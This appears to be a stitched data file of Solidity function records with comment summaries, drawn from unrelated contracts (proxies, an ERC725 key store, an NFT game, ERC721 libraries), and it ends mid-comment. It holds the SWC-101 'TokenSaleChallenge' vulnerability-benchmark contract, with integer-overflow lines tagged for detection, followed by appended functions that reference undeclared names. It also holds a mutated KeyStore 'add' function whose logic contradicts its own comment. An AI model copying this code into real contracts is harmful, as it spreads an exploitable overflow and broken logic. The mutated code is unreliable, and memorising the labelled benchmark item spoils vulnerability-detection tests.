records[recordId] = TweetRecord(now, tweet, msg.sender);
return recordId;
}
| 15,864,255 |
./full_match/80001/0xEc14c01136e0E1e815C9fBf369276397d0804fc3/sources/lib/prb-math/src/sd59x18/Helpers.sol | Implements a zero comparison check function in the SD59x18 type. | function isZero(SD59x18 x) pure returns (bool result) {
result = unwrap(x) == 0;
}
| 9,493,593 |
./full_match/80001/0xC5175391470dA0CD3BfD2EAC79123C331Ff7a541/sources/_xaya/eth-delegator-contract/contracts/XayaDelegation.sol | We accept ERC-721 token transfers only when explicitly specified that we expect one, and we only accept Xaya names at all./ | function onERC721Received (address, address, uint256, bytes calldata)
public view override returns (bytes4)
{
require (msg.sender == address (accounts),
"only Xaya names can be received");
require (allowNameReceive, "tokens cannot be received at the moment");
return IERC721Receiver.onERC721Received.selector;
}
| 5,564,636 |
pragma solidity ^0.5.0;
import "./LTCR.sol";
import "./Trusty.sol";
import "./UserProxy.sol";
import "./SimpleLendingProxy.sol";
import "@nomiclabs/buidler/console.sol";
import "@openzeppelin/contracts/ownership/Ownable.sol";
contract UserProxyFactory is Ownable {
mapping (address => UserProxy) userAddressToUserProxy;
mapping (address => address) userProxyToUserAddress;
LTCR simpleLendingLTCR;
LTCR simpleLendingTwoLTCR;
Trusty trusty;
mapping (address => bool) isAgentInitialized;
constructor(
address simpleLendingLTCRAddress,
address simpleLendingTwoLTCRAddress,
address payable trustyAddress
) public {
simpleLendingLTCR = LTCR(simpleLendingLTCRAddress);
simpleLendingTwoLTCR = LTCR(simpleLendingTwoLTCRAddress);
trusty = Trusty(trustyAddress);
}
function() external payable {}
function addAgent() public {
if (!isAgentInitialized[msg.sender]) {
UserProxy userProxy = new UserProxy(msg.sender, address(trusty));
userAddressToUserProxy[msg.sender] = userProxy;
userProxyToUserAddress[address(userProxy)] = msg.sender;
simpleLendingLTCR.registerAgent(address(userProxy));
simpleLendingTwoLTCR.registerAgent(address(userProxy));
// add other protocol initializations here
// such as initializeCompoundProxy when done
isAgentInitialized[msg.sender] = true;
}
}
function isAddressATrustyProxy(address userProxyAddress) public view returns (bool) {
return userProxyToUserAddress[userProxyAddress] != address(0);
}
function getUserProxyAddress(address userAddress) public view returns (address payable) {
return address(userAddressToUserProxy[userAddress]);
}
} | add other protocol initializations here such as initializeCompoundProxy when done | function addAgent() public {
if (!isAgentInitialized[msg.sender]) {
UserProxy userProxy = new UserProxy(msg.sender, address(trusty));
userAddressToUserProxy[msg.sender] = userProxy;
userProxyToUserAddress[address(userProxy)] = msg.sender;
simpleLendingLTCR.registerAgent(address(userProxy));
simpleLendingTwoLTCR.registerAgent(address(userProxy));
isAgentInitialized[msg.sender] = true;
}
}
| 15,812,448 |
./partial_match/1/0x15b716bfF5B350df095dC015CdF887d8288D3222/sources/iLakeToken.sol | Creates a `value` amount of tokens and assigns them to `account`, by transferring it from address(0). Relies on the `_update` mechanism Emits a {Transfer} event with `from` set to the zero address. NOTE: This function is not virtual, {_update} should be overridden instead./ | function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
| 2,655,532 |
./full_match/43114/0x0C28742A434c241A0205A87322d9F0d333663937/sources/contracts/strategies/MarginswapStrategyV1.sol | Reinvest rewards from staking contract to deposit tokens Reverts if the expected amount of tokens are not returned from `stakingContract` amount deposit tokens to reinvest/ | function _reinvest(uint amount) private {
stakingContract.withdrawIncentive(address(depositToken));
uint devFee = amount.mul(DEV_FEE_BIPS).div(BIPS_DIVISOR);
if (devFee > 0) {
_safeTransfer(address(rewardToken), devAddr, devFee);
}
uint adminFee = amount.mul(ADMIN_FEE_BIPS).div(BIPS_DIVISOR);
if (adminFee > 0) {
_safeTransfer(address(rewardToken), owner(), adminFee);
}
uint reinvestFee = amount.mul(REINVEST_REWARD_BIPS).div(BIPS_DIVISOR);
if (reinvestFee > 0) {
_safeTransfer(address(rewardToken), msg.sender, reinvestFee);
}
uint depositTokenAmount = amount.sub(devFee).sub(adminFee).sub(reinvestFee);
if (address(swapPairWAVAXMfi) != address(0)) {
if (address(swapPairToken) != address(0)) {
uint amountWavax = DexLibrary.swap(depositTokenAmount, address(rewardToken), address(WAVAX), swapPairWAVAXMfi);
depositTokenAmount = DexLibrary.swap(amountWavax, address(WAVAX), address(depositToken), swapPairToken);
}
else {
depositTokenAmount = DexLibrary.swap(depositTokenAmount, address(rewardToken), address(WAVAX), swapPairWAVAXMfi);
}
}
else if (address(swapPairToken) != address(0)) {
depositTokenAmount = DexLibrary.swap(depositTokenAmount, address(rewardToken), address(depositToken), swapPairToken);
}
_stakeDepositTokens(depositTokenAmount);
emit Reinvest(totalDeposits(), totalSupply);
}
| 4,521,757 |
pragma solidity 0.4.24;
import "../Arrays.sol";
import "../constants/KeyEnums.sol";
/**
* @title KeyStore
* @author Wu Di
* @notice Library for managing ERC725 keys
* Inspired by Mircea Pasoi's implementation at https://github.com/mirceapasoi/erc725-735
*/
library KeyStore {
using Arrays for Arrays.uint256NoDup;
using Arrays for Arrays.bytes32NoDup;
/**
* @dev Convert an Ethereum address (20 bytes) to an ERC725 key (32 bytes)
* @dev It's just a simple typecast, but it's especially useful in tests
*/
function addrToKey(address addr)
public
pure
returns (bytes32)
{
return bytes32(addr);
}
struct Key {
// MANAGEMENT_KEY = 1, ACTION_KEY = 2, SIGN_KEY = 3, ENCRYPTION_KEY = 4
Arrays.uint256NoDup purposes;
// ECDSA = 1, RSA = 2
uint256 keyType;
// for non-hex and long keys, its the Keccak256 hash of the key
bytes32 key;
}
/**
* @dev Check for purpose in key
* @param purpose Purpose to check for
*/
function hasPurpose(Key storage self, uint256 purpose)
public
view
returns (bool exists)
{
return self.purposes.contains(purpose);
}
struct Keys {
KeyEnums enums;
mapping (bytes32 => Key) keyData;
mapping (uint256 => Arrays.bytes32NoDup) keysByPurpose;
uint numKeys;
}
/**
* @dev Find a key + purpose tuple
* @param key Key bytes to find
* @param purpose Purpose to find
* @return `true` if key + purpose tuple if found
*/
function find(Keys storage self, bytes32 key, uint256 purpose)
public
view
returns (bool found)
{
Key storage k = self.keyData[key];
if (k.key == 0) {
return false;
}
return hasPurpose(k, purpose);
}
/**
* @dev Add a Key
* @param key Key bytes to add
* @param purpose Purpose to add, will append to purposes if key exists
* @param keyType Key type to add, will only be set if key does not exist
* @return `true` if key was added, `false` if it already exists
*/
function add(Keys storage self, bytes32 key, uint256 purpose, uint256 keyType)
public
returns (bool success)
{
Key storage k = self.keyData[key];
if (k.key == 0) {
k.key = key;
k.keyType = keyType;
self.numKeys++;
} else if (k.keyType != keyType) {
return false;
}
if (!hasPurpose(k, purpose)) {
k.purposes.add(purpose);
self.keysByPurpose[purpose].add(key);
return true;
}
return false;
}
/**
* @dev Remove Key
* @param key Key bytes to remove
* @param purpose Purpose to remove
* @return Key type of the key that was removed
*/
function remove(Keys storage self, bytes32 key, uint256 purpose)
public
returns (uint256 keyType)
{
Key storage k = self.keyData[key];
require(hasPurpose(k, purpose), "Key does not have purpose");
keyType = k.keyType;
k.purposes.remove(purpose);
// No more purposes
if (self.keyData[key].purposes.values.length == 0) {
delete self.keyData[key];
self.numKeys--;
}
// Delete key from keysByPurpose
self.keysByPurpose[purpose].remove(key);
}
} | Add a Key key Key bytes to add purpose Purpose to add, will append to purposes if key exists keyType Key type to add, will only be set if key does not exist return `true` if key was added, `false` if it already exists/ | function add(Keys storage self, bytes32 key, uint256 purpose, uint256 keyType)
public
returns (bool success)
{
Key storage k = self.keyData[key];
if (k.key == 0) {
k.key = key;
k.keyType = keyType;
self.numKeys++;
return false;
}
if (!hasPurpose(k, purpose)) {
k.purposes.add(purpose);
self.keysByPurpose[purpose].add(key);
return true;
}
return false;
}
| 5,522,831 |
/*
* @source: https://smartcontractsecurity.github.io/SWC-registry/docs/SWC-101 // https://capturetheether.com/challenges/math/token-sale/
* @author: Steve Marx
* @vulnerable_at_lines: 23,25,33
*/
pragma solidity ^0.4.21;
contract TokenSaleChallenge {
mapping(address => uint256) public balanceOf;
uint256 constant PRICE_PER_TOKEN = 1 ether;
function TokenSaleChallenge(address _player) public payable {
require(msg.value == 1 ether);
}
function isComplete() public view returns (bool) {
return address(this).balance < 1 ether;
}
function buy(uint256 numTokens) public payable {
// <yes> <report> ARITHMETIC
require(msg.value == numTokens * PRICE_PER_TOKEN);
// <yes> <report> ARITHMETIC
balanceOf[msg.sender] += numTokens;
}
function sell(uint256 numTokens) public {
require(balanceOf[msg.sender] >= numTokens);
balanceOf[msg.sender] -= numTokens;
// <yes> <report> ARITHMETIC
msg.sender.transfer(numTokens * PRICE_PER_TOKEN);
}
mapping (address => uint256) public balance_test;
address owner_test;
modifier onlyOwner_test() {
require(msg.sender == owner_test);
_;
}
function freezeAccount(address target,bool freeze)
onlyOwner_test() public {
frozenAccount[target] = freeze;
}
function issue(address _to,uint256 _amount)
public ownerOnly_test {
totalSupply += _amount;
balance_test[_to] += _amount;
}
}
| <yes> <report> ARITHMETIC <yes> <report> ARITHMETIC | function buy(uint256 numTokens) public payable {
require(msg.value == numTokens * PRICE_PER_TOKEN);
balanceOf[msg.sender] += numTokens;
}
| 6,486,179 |
// File: TestContracts/ProxyTarget.sol
pragma solidity 0.8.7;
/// @dev Proxy for NFT Factory
contract ProxyTarget {
// Storage for this proxy
bytes32 internal constant IMPLEMENTATION_SLOT = bytes32(0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc);
bytes32 internal constant ADMIN_SLOT = bytes32(0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103);
function _getAddress(bytes32 key) internal view returns (address add) {
add = address(uint160(uint256(_getSlotValue(key))));
}
function _getSlotValue(bytes32 slot_) internal view returns (bytes32 value_) {
assembly {
value_ := sload(slot_)
}
}
function _setSlotValue(bytes32 slot_, bytes32 value_) internal {
assembly {
sstore(slot_, value_)
}
}
}
// File: base/IVRF.sol
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
interface IVRF{
function initiateRandomness(uint _tokenId,uint _timestamp) external view returns(uint);
function stealRandomness() external view returns(uint);
function getCurrentIndex() external view returns(uint);
}
// File: base/Counters.sol
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// File: base/IWhitelist.sol
pragma solidity ^0.8.0;
interface IWhitelist{
struct Whitelist{
address userAddress;
bytes signature;
}
function getSigner(Whitelist memory whitelist) external view returns(address);
}
// File: base/IGameEngine.sol
pragma solidity ^0.8.0;
interface GameEngine{
function stake ( uint tokenId ) external;
function alertStake (uint tokenId) external;
}
// File: base/IMetadata.sol
pragma solidity ^0.8.0;
interface IMetadata{
function addMetadata(uint8 tokenType,uint8 level,uint tokenID) external;
function createRandomZombie(uint8 level) external returns(uint8[] memory traits);
function createRandomSurvivor(uint8 level) external returns(uint8[] memory traits);
function getTokenURI(uint tokenId) external view returns (string memory);
function changeNft(uint tokenID, uint8 nftType, uint8 level, bool canClaim, uint stakedTime, uint lastClaimTime) external;
function getToken(uint256 _tokenId) external view returns(uint8, uint8, bool, uint,uint);
}
// File: base/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: base/IERC165.sol
pragma solidity ^0.8.0;
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: base/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: base/IERC721Metadata.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint tokenId) external view returns (string memory);
}
// File: base/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// File: base/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint` to its ASCII `string` decimal representation.
*/
function toString(uint value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint temp = value;
uint digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint temp = value;
uint length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint value, uint length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: base/Address.sol
pragma solidity ^0.8.0;
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash =
0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value : amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: base/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
function burn(uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: base/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () {}
function _msgSender() internal view returns (address payable) {
return payable (msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: base/ERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint;
// Token name
string internal _name;
// Token symbol
string internal _symbol;
// Mapping from token ID to owner address
mapping(uint => address) private _owners;
// Mapping owner address to token count
mapping(address => uint) private _balances;
// Mapping from token ID to approved address
mapping(uint => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
